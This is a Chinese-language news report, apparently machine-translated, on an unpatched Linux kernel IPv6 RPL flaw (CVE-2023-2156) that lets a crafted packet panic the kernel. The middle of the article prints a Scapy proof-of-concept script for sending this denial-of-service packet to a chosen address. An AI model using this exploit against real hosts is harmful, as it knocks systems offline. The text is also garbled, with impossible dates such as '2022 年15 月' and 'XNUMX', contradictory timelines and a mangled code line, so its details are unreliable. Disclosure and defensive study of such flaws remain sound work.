允許遠程內核崩潰的 0-day Linux IPv6 堆棧漏洞

有關 Linux 核心中未修正的(0 天)漏洞 (CVE-2023-2156) 的資訊已被揭露,該漏洞允許透過發送專門設計的 IPv6 封包(死亡封包)來停止系統。 只有在啟用對RPL(低功耗和有損網路的路由協定)協定的支援時才會出現該問題,該協定在發行版中預設為停用,主要用於在丟包率較高的無線網路中運行的嵌入式設備。

此漏洞是由於RPL協定解析程式碼中對外部資料的錯誤處理導致斷言失敗,核心進入panic狀態。 將解析IPv6 RPL包頭所得到的資料放入k_buff(Socket Buffer)結構體時,如果CmprI欄位設定為15,Segleft欄位設定為1,CmprE設定為0,則解壓縮出帶有位址的48位元組向量到528字節,就會出現為緩衝區分配的記憶體不夠的情況。 在這種情況下,用於將資料推送到結構中的 skb_push 函數會檢查資料大小和緩衝區之間的不可通約性,從而產生緊急狀態以防止寫入超出緩衝區邊界。

漏洞利用範例: # 我們將使用 Scapy 來製作封包 from scapy.all import * import socket # 從 LAN 介面使用 IPv6 DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # 我們使用套接字發送封包 sockfd = socket .socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # 製作封包# Type = 3 使其成為RPL 封包# Addresses 包含3 個位址,但因為CmprI 為15, # 前兩個位址的每個八位元組為視為壓縮位址# Segleft = 1 觸發放大# lastentry = 0xf0 將CmprI 設定為15,將CmprE 設定為0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(typeSegmentRouting(type=3, =[“a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # 傳送這個邪惡的封包sockfd.sendto(bytes(p), (DST_ADDR, 0) )

值得注意的是,核心開發人員早在2022 年15 月就收到了該漏洞的通知,在過去2022 個月裡,他們曾三次嘗試修復該問題,分別於2022 年2023 月、XNUMX 年XNUMX 月和XNUMX年XNUMX 月發布了補丁,但每次修復都失敗了。不夠,無法重現漏洞。 最終,負責協調修復漏洞的工作的 ZDI 專案決定發布有關該漏洞的詳細信息,而無需等待內核中提供可用的修復。

因此,該漏洞仍未修復。 特別是6.4-rc2核心中包含的補丁無效。 建議使用者檢查其係統上是否未使用 RPL 協議,這可以使用命令 sysctl -a | 來完成。 grep -i rpl_seg_enabled

來源: opennet.ru

添加評論